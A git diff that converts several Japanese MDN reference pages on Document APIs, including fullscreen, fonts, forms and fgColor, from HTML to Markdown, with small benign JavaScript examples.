diff --git a/files/ja/web/api/document/exitpointerlock/index.md b/files/ja/web/api/document/exitpointerlock/index.md new file mode 100644 index 00000000000000..8605fad5ebdcf3 --- /dev/null +++ b/files/ja/web/api/document/exitpointerlock/index.md @@ -0,0 +1,38 @@ +--- +title: Document.exitPointerLock() +slug: Web/API/Document/exitPointerLock +tags: + - API + - Experimental + - Method + - Reference + - mouse lock +translation_of: Web/API/Document/exitPointerLock +--- +{{APIRef("DOM")}} {{seeCompatTable}} + +**`exitPointerLock()`** メソッドは、以前 {{domxref("Element.requestPointerLock")}} でリクエストされたポインターロックを非同期に解放します。 + +リクエストが成功したか失敗したかを追跡するには、 {{event("pointerlockchange")}} および {{event("pointerlockerror")}} イベントを待ち受けする必要があります。 + +## 構文 + +``` +document.exitPointerLock(); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------------------- | +| {{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}} | {{Spec2('Pointer Lock')}} | `Document` インターフェイスを拡張 | + +## ブラウザーの互換性 + +{{Compat("api.Document.exitPointerLock")}} + +## 関連情報 + +- {{ domxref("Document.pointerLockElement") }} +- {{ domxref("Element.requestPointerLock()") }} +- [ポインターロック](/ja/docs/Web/API/Pointer_Lock_API) diff --git a/files/ja/web/api/document/featurepolicy/index.html b/files/ja/web/api/document/featurepolicy/index.html deleted file mode 100644 index 127c058f19a95d..00000000000000 --- a/files/ja/web/api/document/featurepolicy/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Document.featurePolicy -slug: Web/API/Document/featurePolicy -tags: - - API - - Document - - Feature Policy - - Feature-Policy - - Reference - - 機能ポリシー -translation_of: Web/API/Document/featurePolicy ---- -

{{APIRef("Feature Policy")}}

- -

featurePolicy は {{domxref("Document")}} インターフェイスの読み取り専用プロパティで、特定の文書に適用される機能ポリシーを見ることができる簡単な API を提供する {{domxref("Policy")}} インターフェイスを返します。

- -

構文

- -
var policy = iframeElement.featurePolicy
- -

- -

{{domxref("FeaturePolicy")}} オブジェクトで、文書に適用された機能ポリシーの設定を調べるために使用するうことができます。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Feature Policy")}}{{Spec2("Feature Policy")}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.featurePolicy")}}

diff --git a/files/ja/web/api/document/featurepolicy/index.md b/files/ja/web/api/document/featurepolicy/index.md new file mode 100644 index 00000000000000..e43eb80e1b184a --- /dev/null +++ b/files/ja/web/api/document/featurepolicy/index.md @@ -0,0 +1,35 @@ +--- +title: Document.featurePolicy +slug: Web/API/Document/featurePolicy +tags: + - API + - Document + - Feature Policy + - Feature-Policy + - Reference + - 機能ポリシー +translation_of: Web/API/Document/featurePolicy +--- +{{APIRef("Feature Policy")}} + +**`featurePolicy`** は {{domxref("Document")}} インターフェイスの読み取り専用プロパティで、特定の文書に適用される機能ポリシーを見ることができる簡単な API を提供する {{domxref("Policy")}} インターフェイスを返します。 + +## 構文 + +``` +var policy = iframeElement.featurePolicy +``` + +### 値 + +{{domxref("FeaturePolicy")}} オブジェクトで、文書に適用された機能ポリシーの設定を調べるために使用するうことができます。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------- | ------------------------------------ | -------- | +| {{SpecName("Feature Policy")}} | {{Spec2("Feature Policy")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.featurePolicy")}} diff --git a/files/ja/web/api/document/fgcolor/index.html b/files/ja/web/api/document/fgcolor/index.html deleted file mode 100644 index 07da4e19339982..00000000000000 --- a/files/ja/web/api/document/fgcolor/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Document.fgColor -slug: Web/API/Document/fgColor -tags: - - API - - DOM - - Deprecated - - Document - - HTML DOM - - Reference - - fgColor - - プロパティ -translation_of: Web/API/Document/fgColor ---- -
{{ApiRef}}{{Deprecated_header}}
- -

fgColor は、現在の文書の前景色またはテキストの色を取得または設定します。

- -

構文

- -
var color = document.fgColor;
-document.fgColor = color;
-
- -

引数

- -
    -
  • color は文字列で、色を表すキーワード ("red" など) または16進数の値 ("#000000" など) です。
  • -
- -

- -
document.fgColor = "white";
-document.bgColor = "darkblue";
-
- -

メモ

- -

Mozilla Firefox ではこのプロパティの既定値は黒 (16進数で #000000) です。

- -

document.fgColorDOM Level 2 HTML で非推奨となっています。推奨される代替手段は CSS プロパティの {{Cssxref("color")}} (たとえば document.body.style.color = "red") です。

- -

他の代替手段として document.body.text がありますが、上記の CSS による代替手段が設置されたため HTML 4.01 で非推奨となっています。

- -

ブラウザーの対応

- -

{{Compat("api.Document.fgColor")}}

diff --git a/files/ja/web/api/document/fgcolor/index.md b/files/ja/web/api/document/fgcolor/index.md new file mode 100644 index 00000000000000..8c1f285db9af8f --- /dev/null +++ b/files/ja/web/api/document/fgcolor/index.md @@ -0,0 +1,47 @@ +--- +title: Document.fgColor +slug: Web/API/Document/fgColor +tags: + - API + - DOM + - Deprecated + - Document + - HTML DOM + - Reference + - fgColor + - プロパティ +translation_of: Web/API/Document/fgColor +--- +{{ApiRef}}{{Deprecated_header}} + +**`fgColor`** は、現在の文書の前景色またはテキストの色を取得または設定します。 + +## 構文 + +``` +var color = document.fgColor; +document.fgColor = color; +``` + +### 引数 + +- `color` は文字列で、色を表すキーワード ("red" など) または 16 進数の値 (`"#000000"` など) です。 + +## 例 + +```js +document.fgColor = "white"; +document.bgColor = "darkblue"; +``` + +## メモ + +Mozilla Firefox ではこのプロパティの既定値は黒 (16 進数で `#000000`) です。 + +`document.fgColor` は [DOM Level 2 HTML で非推奨](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268)となっています。推奨される代替手段は CSS プロパティの {{Cssxref("color")}} (たとえば `document.body.style.color = "red"`) です。 + +他の代替手段として `document.body.text` がありますが、上記の CSS による代替手段が設置されたため [HTML 4.01 で非推奨](http://www.w3.org/TR/html401/struct/global.html#adef-text)となっています。 + +## ブラウザーの互換性 + +{{Compat("api.Document.fgColor")}} diff --git a/files/ja/web/api/document/fonts/index.html b/files/ja/web/api/document/fonts/index.html deleted file mode 100644 index ee417ef8838545..00000000000000 --- a/files/ja/web/api/document/fonts/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Document.fonts -slug: Web/API/Document/fonts -tags: - - API - - DOM - - Font Loading API - - FontFace - - FontFaceSet - - Fonts - - フォント -translation_of: Web/API/Document/fonts ---- -

{{APIRef("DOM")}}

- -

fonts は {{domxref("Document")}} インターフェイスのプロパティで、文書の {{domxref("FontFaceSet")}} インターフェイスを返します。

- -

構文

- -
let fontFaceSet = document.fonts;
- -

- -

返値は文書の {{domxref("FontFaceSet")}} インターフェイスです。 FontFaceSet インターフェイスは新しいフォントを読み込んだり、以前読み込まれたフォントの状態をチェックしたりするのに有用です。

- -

- -

すべてのフォントが読み込まれた後の操作の実行

- -
document.fonts.ready.then(function() {
-  // すべてのフォントが読み込まれた後にのみ実行する必要がある操作を
-  // ここに記述します。
-});
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('CSS3 Font Loading','#FontFaceSet-interface','FontFaceSet')}}{{Spec2('CSS3 Font Loading')}}初回定義
- -

ブラウザーの互換性

- -
{{Compat("api.Document.fonts")}}
- -

関連情報

- -
    -
  • {{domxref("FontFaceSet")}} インターフェイス
  • -
  • {{domxref("FontFace")}}
  • -
diff --git a/files/ja/web/api/document/fonts/index.md b/files/ja/web/api/document/fonts/index.md new file mode 100644 index 00000000000000..59cf1c370ad427 --- /dev/null +++ b/files/ja/web/api/document/fonts/index.md @@ -0,0 +1,52 @@ +--- +title: Document.fonts +slug: Web/API/Document/fonts +tags: + - API + - DOM + - Font Loading API + - FontFace + - FontFaceSet + - Fonts + - フォント +translation_of: Web/API/Document/fonts +--- +{{APIRef("DOM")}} + +**`fonts`** は {{domxref("Document")}} インターフェイスのプロパティで、文書の {{domxref("FontFaceSet")}} インターフェイスを返します。 + +## 構文 + +``` +let fontFaceSet = document.fonts; +``` + +### 値 + +返値は文書の {{domxref("FontFaceSet")}} インターフェイスです。 `FontFaceSet` インターフェイスは新しいフォントを読み込んだり、以前読み込まれたフォントの状態をチェックしたりするのに有用です。 + +## 例 + +### すべてのフォントが読み込まれた後の操作の実行 + +```js +document.fonts.ready.then(function() { + // すべてのフォントが読み込まれた後にのみ実行する必要がある操作を + // ここに記述します。 +}); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | ---------------------------------------- | -------- | +| {{SpecName('CSS3 Font Loading','#FontFaceSet-interface','FontFaceSet')}} | {{Spec2('CSS3 Font Loading')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.fonts")}} + +## 関連情報 + +- {{domxref("FontFaceSet")}} インターフェイス +- {{domxref("FontFace")}} diff --git a/files/ja/web/api/document/forms/index.html b/files/ja/web/api/document/forms/index.html deleted file mode 100644 index d25fd3204ca471..00000000000000 --- a/files/ja/web/api/document/forms/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Document.forms -slug: Web/API/Document/forms -tags: - - API - - DOM - - Document - - HTML DOM - - HTML フォーム - - フォーム - - プロパティ - - リファレンス -translation_of: Web/API/Document/forms ---- -

{{domxref("Document")}} インターフェイスの forms プロパティは読み取り専用で、文書内に含まれるすべての {{HTMLElement("form")}} を列挙した {{domxref("HTMLCollection")}} を返します。

- -
-

メモ: 同様に、{{domxref("HTMLFormElement.elements")}} プロパティを使用すると、フォームコンポーネントのユーザー入力要素のリストにアクセスすることができます。

-
- -

構文

- -
collection = document.forms;
- -

- -

文書のすべてのフォームを列挙する {{domxref("HTMLCollection")}} オブジェクトです。コレクションのそれぞれの項目は、単一の <form> 要素を表す {{domxref("HTMLFormElement")}} です。

- -

文書にフォームがない場合、返されるコレクションは空で、長さはゼロです。

- -

- -

フォーム情報の取得

- -
<!DOCTYPE html>
-<html lang="en">
-
-<head>
-<title>document.forms example</title>
-</head>
-
-<body>
-
-<form id="robby">
-  <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" />
-</form>
-
-<form id="dave">
-  <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" />
-</form>
-
-<form id="paul">
-  <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" />
-</form>
-
-</body>
-</html>
-
- -

フォーム内要素の取得

- -
var selectForm = document.forms[index];
-var selectFormElement = document.forms[index].elements[index];
-
- -

名前付きフォームへのアクセス

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-  <title>document.forms example</title>
-</head>
-
-<body>
-
-<form name="login">
-  <input name="email" type="email">
-  <input name="password" type="password">
-  <button type="submit">Log in</button>
-</form>
-
-<script>
-  var loginForm = document.forms.login; // Or document.forms['login']
-  loginForm.elements.email.placeholder = 'test@example.com';
-  loginForm.elements.password.placeholder = 'password';
-</script>
-</body>
-</html>
-
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態コメント
{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}{{ Spec2('HTML WHATWG') }}
{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}{{ Spec2('DOM2 Events') }}初回定義
- -

ブラウザーの対応

- -

{{Compat("api.Document.forms")}}

- -

関連情報

- -
    -
  • HTML forms
  • -
  • {{HTMLElement("form")}} および {{domxref("HTMLFormElement")}} インターフェイス
  • -
- -
{{APIRef("DOM")}}
diff --git a/files/ja/web/api/document/forms/index.md b/files/ja/web/api/document/forms/index.md new file mode 100644 index 00000000000000..f2f9ff94902c17 --- /dev/null +++ b/files/ja/web/api/document/forms/index.md @@ -0,0 +1,110 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - API + - DOM + - Document + - HTML DOM + - HTML フォーム + - フォーム + - プロパティ + - リファレンス +translation_of: Web/API/Document/forms +--- +{{domxref("Document")}} インターフェイスの **`forms`** プロパティは読み取り専用で、文書内に含まれるすべての {{HTMLElement("form")}} を列挙した {{domxref("HTMLCollection")}} を返します。 + +> **Note:** 同様に、{{domxref("HTMLFormElement.elements")}} プロパティを使用すると、フォームコンポーネントのユーザー入力要素のリストにアクセスすることができます。 + +## 構文 + +``` +collection = document.forms; +``` + +### 値 + +文書のすべてのフォームを列挙する {{domxref("HTMLCollection")}} オブジェクトです。コレクションのそれぞれの項目は、単一の `
` 要素を表す {{domxref("HTMLFormElement")}} です。 + +文書にフォームがない場合、返されるコレクションは空で、長さはゼロです。 + +## 例 + +### フォーム情報の取得 + +```html + + + + +document.forms example + + + + + + +
+ +
+ +
+ +
+ +
+ + + +``` + +### フォーム内要素の取得 + +```js +var selectForm = document.forms[index]; +var selectFormElement = document.forms[index].elements[index]; +``` + +### 名前付きフォームへのアクセス + +```html + + + + document.forms example + + + + +
+ + + +
+ + + + +``` + +## 仕様書 + +| 仕様書 | 状態 | コメント | +| -------------------------------------------------------------------------------------------- | ------------------------------------ | -------- | +| {{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}} | {{ Spec2('HTML WHATWG') }} | | +| {{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}} | {{ Spec2('DOM2 Events') }} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.forms")}} + +## 関連情報 + +- [HTML forms](/ja/docs/Learn/HTML/Forms) +- {{HTMLElement("form")}} および {{domxref("HTMLFormElement")}} インターフェイス + +{{APIRef("DOM")}} diff --git a/files/ja/web/api/document/fullscreen/index.html b/files/ja/web/api/document/fullscreen/index.html deleted file mode 100644 index 37c051694f8a87..00000000000000 --- a/files/ja/web/api/document/fullscreen/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Document.fullscreen -slug: Web/API/Document/fullscreen -tags: - - API - - Document - - Fullscreen API - - Read-only - - Reference - - プロパティ -translation_of: Web/API/Document/fullscreen ---- -
{{APIRef("Fullscreen API")}}{{Deprecated_Header}}
- -

廃止された {{domxref("Document")}} インターフェイスの fullscreen プロパティは読み取り専用で、文書が現在全画面モードで表示されているかどうかを報告します。

- -

このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。

- -
-

メモ: このプロパティは非推奨であり、文書が全画面モードになっているかどうかは、 {{DOMxRef("Document.fullscreenElement")}} が null ではないことで確認することができます。

-
- -

構文

- -
var isFullScreen = document.fullscreen;
-
- -

返値

- -

真偽値であり、文書が全画面モードで表示されているときに true、それ以外の場合に false になります。

- -

- -

このシンプルな関数は、現在全画面モードがアクティブになっているかどうかを、廃止された fullscreen プロパティを使用して報告しています。

- -
function isDocumentInFullScreenMode() {
-  return document.fullscreen;
-}
-
- -

一方、次の例では、現在の fullscreenElement プロパティを使用して同じことを確認しています。

- -
function isDocumentInFullScreenMode() {
-  return document.fullscreenElement !== null;
-}
- -

fullscreenElementnull でなければ、これは true を返し、全画面モードで表示されていることを示します。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-fullscreen", "Document.fullscreen")}}{{Spec2("Fullscreen")}}初回定義 (廃止プロパティとして)
- -

ブラウザーの対応

- -

{{Compat("api.Document.fullscreen")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/fullscreen/index.md b/files/ja/web/api/document/fullscreen/index.md new file mode 100644 index 00000000000000..fba01888c2289d --- /dev/null +++ b/files/ja/web/api/document/fullscreen/index.md @@ -0,0 +1,65 @@ +--- +title: Document.fullscreen +slug: Web/API/Document/fullscreen +tags: + - API + - Document + - Fullscreen API + - Read-only + - Reference + - プロパティ +translation_of: Web/API/Document/fullscreen +--- +{{APIRef("Fullscreen API")}}{{Deprecated_Header}} + +廃止された {{domxref("Document")}} インターフェイスの **`fullscreen`** プロパティは読み取り専用で、文書が現在全画面モードで表示されているかどうかを報告します。 + +このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。 + +> **Note:** このプロパティは非推奨であり、文書が全画面モードになっているかどうかは、 {{DOMxRef("Document.fullscreenElement")}} が `null` ではないことで確認することができます。 + +## 構文 + +``` +var isFullScreen = document.fullscreen; +``` + +### 返値 + +真偽値であり、文書が全画面モードで表示されているときに `true`、それ以外の場合に `false` になります。 + +## 例 + +このシンプルな関数は、現在全画面モードがアクティブになっているかどうかを、廃止された `fullscreen` プロパティを使用して報告しています。 + +```js +function isDocumentInFullScreenMode() { + return document.fullscreen; +} +``` + +一方、次の例では、現在の `fullscreenElement` プロパティを使用して同じことを確認しています。 + +```js +function isDocumentInFullScreenMode() { + return document.fullscreenElement !== null; +} +``` + +`fullscreenElement` が `null` でなければ、これは `true` を返し、全画面モードで表示されていることを示します。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------------- | +| {{SpecName("Fullscreen", "#dom-document-fullscreen", "Document.fullscreen")}} | {{Spec2("Fullscreen")}} | 初回定義 (廃止プロパティとして) | + +## ブラウザーの互換性 + +{{Compat("api.Document.fullscreen")}} + +## 関連情報 + +- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API ガイド](/ja/docs/Web/API/Fullscreen_API/Guide) +- {{DOMxRef("Document.fullscreenEnabled")}} diff --git a/files/ja/web/api/document/fullscreenchange_event/index.html b/files/ja/web/api/document/fullscreenchange_event/index.html deleted file mode 100644 index 308d99b941b024..00000000000000 --- a/files/ja/web/api/document/fullscreenchange_event/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: 'Document: fullscreenchange イベント' -slug: Web/API/Document/fullscreenchange_event -tags: - - API - - Fullscreen API - - Reference - - events - - fullscreen - - fullscreenchange - - イベント - - 全画面モード -translation_of: Web/API/Document/fullscreenchange_event ---- -
{{APIRef}}
- -

fullscreenchange イベントは、ブラウザーが全画面モードに移行したり終了したりした直後に発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document.onfullscreenchange", "onfullscreenchange")}}
- -

このイベントは、全画面モードに移行または終了しようとしている Element に送られ、それから Document までバブリングします。

- -<p<code>Element が全画面モードに移行しようとしているのか、終了しようとしているのかを判別するには、 {{domxref("DocumentOrShadowRoot/fullscreenElement", "DocumentOrShadowRoot.fullscreenElement")}} の値をチェックしてください。この値が null ならば、要素が全画面モードを終了しようとしており、そうでなければ全画面モードに移行しようとしています。 - -

- -

この例では、 fullscreenchange イベントのハンドラーが {{domxref("Document")}} に追加されます。

- -
document.addEventListener('fullscreenchange', (event) => {
-  // document.fullscreenElement は、全画面モードにある要素があれば
-  // それを指します。要素がなければ、このプロパティの値は null に
-  // あります。
-  if (document.fullscreenElement) {
-    console.log(`Element: ${document.fullscreenElement.id} entered full-screen mode.`);
-  } else {
-    console.log('Leaving full-screen mode.');
-  }
-});
-
- -

その他の例については Element: fullscreenchange イベントを参照してください。

- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.fullscreenchange_event")}}

- -

関連情報

- -
    -
  • {{domxref("Document/fullscreenerror_event", "fullscreenerror")}}
  • -
  • {{domxref("Element")}}: {{domxref("Element/fullscreenchange_event", "fullscreenchange")}} イベント
  • -
  • Fullscreen API
  • -
  • Fullscreen API のガイド
  • -
diff --git a/files/ja/web/api/document/fullscreenchange_event/index.md b/files/ja/web/api/document/fullscreenchange_event/index.md new file mode 100644 index 00000000000000..b4d6b847a1ecfc --- /dev/null +++ b/files/ja/web/api/document/fullscreenchange_event/index.md @@ -0,0 +1,80 @@ +--- +title: 'Document: fullscreenchange イベント' +slug: Web/API/Document/fullscreenchange_event +tags: + - API + - Fullscreen API + - Reference + - events + - fullscreen + - fullscreenchange + - イベント + - 全画面モード +translation_of: Web/API/Document/fullscreenchange_event +--- +{{APIRef}} + +`fullscreenchange` イベントは、ブラウザーが全画面モードに移行したり終了したりした直後に発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("Document.onfullscreenchange", "onfullscreenchange")}} +
+ +このイベントは、全画面モードに移行または終了しようとしている `Element` に送られ、それから `Document` までバブリングします。 + +\Element が全画面モードに移行しようとしているのか、終了しようとしているのかを判別するには、 {{domxref("DocumentOrShadowRoot/fullscreenElement", "DocumentOrShadowRoot.fullscreenElement")}} の値をチェックしてください。この値が `null` ならば、要素が全画面モードを終了しようとしており、そうでなければ全画面モードに移行しようとしています。 + +## 例 + +この例では、 `fullscreenchange` イベントのハンドラーが {{domxref("Document")}} に追加されます。 + +```js +document.addEventListener('fullscreenchange', (event) => { + // document.fullscreenElement は、全画面モードにある要素があれば + // それを指します。要素がなければ、このプロパティの値は null に + // あります。 + if (document.fullscreenElement) { + console.log(`Element: ${document.fullscreenElement.id} entered full-screen mode.`); + } else { + console.log('Leaving full-screen mode.'); + } +}); +``` + +その他の例については [Element: fullscreenchange イベント](/ja/docs/Web/API/Element/fullscreenchange_event)を参照してください。 + +## 仕様書 + +| 仕様書 | 状態 | +| ------------------------------------ | -------------------------------- | +| {{SpecName("Fullscreen")}} | {{Spec2("Fullscreen")}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.fullscreenchange_event")}} + +## 関連情報 + +- {{domxref("Document/fullscreenerror_event", "fullscreenerror")}} +- {{domxref("Element")}}: {{domxref("Element/fullscreenchange_event", "fullscreenchange")}} イベント +- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API のガイド](/ja/docs/Web/API/Fullscreen_API/Guide) diff --git a/files/ja/web/api/document/fullscreenelement/index.html b/files/ja/web/api/document/fullscreenelement/index.html deleted file mode 100644 index 7b464c3dbd314a..00000000000000 --- a/files/ja/web/api/document/fullscreenelement/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: DocumentOrShadowRoot.fullscreenElement -slug: Web/API/Document/fullscreenElement -tags: - - API - - Document - - DocumentOrShadowRoot - - Full-screen - - Fullscreen API - - Graphics - - Property - - Read-only - - Reference - - ShadowRoot - - fullscreenElement - - screen - - グラフィック - - 全画面 - - 読み取り専用 -translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement -original_slug: Web/API/DocumentOrShadowRoot/fullscreenElement ---- -
{{ApiRef("Fullscreen API")}}
- -

DocumentOrShadowRoot.fullscreenElement プロパティは読み取り専用で、この文書内で現在全画面モードで表示されている {{ domxref("Element") }} を返し、全画面モードを使用していない場合は null を返します。

- -

このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外は発生しません。設定しても何もせず、無視されます。

- -

構文

- -
var element = document.fullscreenElement;
- -

返値

- -

現在全画面モードになっている {{domxref("Element")}} オブジェクト。全画面モードがこの document で使用されていない場合、返値は null です。

- -

- -

この例は isVideoInFullscreen() 関数を表し、 fullscreenElement からの返値を調べています。文書が全画面モードで (fullscreenElementnull ではなく)、全画面の要素の {{domxref("Node.nodeName", "nodeName")}} が VIDEO、すなわち {{HTMLElement("video")}} 要素を表す場合、この関数は true、すなわち動画が全画面モードであることを表します。

- -
function isVideoInFullscreen() {
-  if (document.fullscreenElement && document.fullscreenElement.nodeName == 'VIDEO') {
-    return true;
-  }
-  return false;
-}
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-fullscreenelement", "Document.fullscreenElement")}}{{Spec2("Fullscreen")}}初回定義
- -

ブラウザーの対応

- -

{{Compat("api.DocumentOrShadowRoot.fullscreenElement")}}

- -

関連情報

- -
    -
  • Fullscreen API
  • -
  • Fullscreen API ガイド
  • -
  • {{ domxref("Element.requestFullscreen()") }}
  • -
  • {{ domxref("Document.exitFullscreen()") }}
  • -
  • {{ cssxref(":fullscreen") }} and {{cssxref("::backdrop")}}
  • -
  • {{HTMLElement("iframe")}} の {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 属性
  • -
diff --git a/files/ja/web/api/document/fullscreenelement/index.md b/files/ja/web/api/document/fullscreenelement/index.md new file mode 100644 index 00000000000000..2d5accc2eb38c3 --- /dev/null +++ b/files/ja/web/api/document/fullscreenelement/index.md @@ -0,0 +1,69 @@ +--- +title: DocumentOrShadowRoot.fullscreenElement +slug: Web/API/Document/fullscreenElement +tags: + - API + - Document + - DocumentOrShadowRoot + - Full-screen + - Fullscreen API + - Graphics + - Property + - Read-only + - Reference + - ShadowRoot + - fullscreenElement + - screen + - グラフィック + - 全画面 + - 読み取り専用 +translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement +original_slug: Web/API/DocumentOrShadowRoot/fullscreenElement +--- +{{ApiRef("Fullscreen API")}} + +**`DocumentOrShadowRoot.fullscreenElement`** プロパティは読み取り専用で、この文書内で現在全画面モードで表示されている {{ domxref("Element") }} を返し、全画面モードを使用していない場合は `null` を返します。 + +このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外は発生しません。設定しても何もせず、無視されます。 + +## 構文 + +``` +var element = document.fullscreenElement; +``` + +### 返値 + +現在全画面モードになっている {{domxref("Element")}} オブジェクト。全画面モードがこの `document` で使用されていない場合、返値は `null` です。 + +## 例 + +この例は `isVideoInFullscreen()` 関数を表し、 `fullscreenElement` からの返値を調べています。文書が全画面モードで (`fullscreenElement` が `null` ではなく)、全画面の要素の {{domxref("Node.nodeName", "nodeName")}} が `VIDEO`、すなわち {{HTMLElement("video")}} 要素を表す場合、この関数は `true`、すなわち動画が全画面モードであることを表します。 + +```js +function isVideoInFullscreen() { + if (document.fullscreenElement && document.fullscreenElement.nodeName == 'VIDEO') { + return true; + } + return false; +} +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("Fullscreen", "#dom-document-fullscreenelement", "Document.fullscreenElement")}} | {{Spec2("Fullscreen")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.DocumentOrShadowRoot.fullscreenElement")}} + +## 関連情報 + +- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API ガイド](/ja/docs/Web/API/Fullscreen_API/Guide) +- {{ domxref("Element.requestFullscreen()") }} +- {{ domxref("Document.exitFullscreen()") }} +- {{ cssxref(":fullscreen") }} and {{cssxref("::backdrop")}} +- {{HTMLElement("iframe")}} の {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 属性 diff --git a/files/ja/web/api/document/fullscreenenabled/index.html b/files/ja/web/api/document/fullscreenenabled/index.html deleted file mode 100644 index d0bf3bc632e45c..00000000000000 --- a/files/ja/web/api/document/fullscreenenabled/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Document.fullscreenEnabled -slug: Web/API/Document/fullscreenEnabled -tags: - - API - - Document - - Fullscreen API - - Property - - Read-only - - Reference - - fullscreenEnabled - - プロパティ - - 全画面 - - 画面 -translation_of: Web/API/Document/fullscreenEnabled ---- -
{{APIRef("Fullscreen API")}}
- -

{{domxref("Document")}} インターフェイスの fullscreenEnabled プロパティは読み取り専用で、全画面モードが使用できるかを示します。全画面モードは文書内にウィンドウ化されたプラグインを含まないページ、および文書内のすべての {{HTMLElement("iframe")}} 要素が {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性を持つページに限り使用することができます。

- -

このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。

- -

構文

- -
var isFullscreenAvailable = document.fullscreenEnabled;
-
- -

- -

{{domxref("Boolean")}} 値であり、文書や要素が {{domxref("Element.requestFullscreen()")}} を呼び出すことで全画面モードに移行できるのであれば true です。全画面モードが利用できないのであれば、値は false になります。

- -

- -

この例では、 {{htmlElement("video")}} 要素に全画面モードへの移行を試みる前に fullscreenEnabled の値をチェックし、利用できない場合には移行を試みないようにします。

- -
function requestFullScreen() {
-  if (document.fullscreenEnabled) {
-    videoElement.requestFullScreen();
-  } else {
-    console.log('現在ブラウザーは全画面モードを使用することができません');
-  }
-}
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-fullscreenenabled", "Document.fullscreenEnabled")}}{{Spec2("Fullscreen")}}初回定義
- -

ブラウザーの対応

- -

{{Compat("api.Document.fullscreenEnabled")}}

- -

関連情報

- -
    -
  • Fullscreen API
  • -
  • Fullscreen API ガイド
  • -
  • {{domxref("Element.requestFullscreen()")}}
  • -
  • {{domxref("Document.exitFullscreen()")}}
  • -
  • {{domxref("Document.fullscreenElement")}}
  • -
  • {{cssxref(":fullscreen")}} および {{cssxref("::backdrop")}}
  • -
  • {{HTMLElement("iframe")}} 要素の {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性
  • -
